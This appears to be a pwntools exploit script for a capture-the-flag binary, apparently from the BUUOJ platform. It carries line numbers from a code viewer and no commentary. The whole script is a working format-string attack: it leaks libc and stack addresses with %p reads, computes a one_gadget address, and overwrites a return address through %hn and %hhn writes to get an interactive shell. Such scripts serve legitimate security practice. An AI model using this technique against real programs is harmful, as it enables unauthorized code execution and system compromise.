1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * from ctypes import *
s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) #context.terminal = ['gnome-terminal','-x','sh','-c'] context(os='linux',arch='amd64',log_level='debug') #p=remote('node5.buuoj.cn',25630) p=process('./pwn') elf = ELF('./pwn') libc = ELF('libc.so.6')
def duan(): gdb.attach(p) pause()
ru('Please enter a keyword\n') #duan() sl('%9$p-%11$p') ru('0x') libc_leak=int(r(12),16) libc_base=libc_leak-libc.sym['__libc_start_main']-240#remote 240 leak('libc_leak',libc_leak) leak('libc_base ',libc_base)
ru('-0x') stack=int(r(12),16) leak('stack ',stack) stack1=stack-224 leak('stack1 ',stack1) leak('stack1&0xffff ',stack1&0xffff) ogs=[0x45226,0x4527a,0xf03a4,0xf1247] og=libc_base+ogs[0] leak('og',og)
leak('og&0xffff',og&0xffff) leak('(og>>16)&0xff',(og>>16)&0xff) duan() sla('Please enter a keyword','%'+str(stack1&0xffff)+'c%11$hn')
pause() sla('Please enter a keyword','%'+str(og&0xffff)+'c%37$hn') sla('Please enter a keyword','%'+str((stack1+2)&0xffff)+'c%11$hn') sla('Please enter a keyword','%'+str((og>>16)&0xff)+'c%37$hhn') ''' sla('Please enter a keyword','%'+str(stack1&0xffff)+'c%11$hn') sla('Please enter a keyword','%'+str(og&0xffff)+'c%37$hn') sla('Please enter a keyword','%'+str((stack1+2)&0xffff)+'c%11$hn') sla('Please enter a keyword','%'+str((og>>16)&0xff)+'c%37$hhn')
'''
itr()
|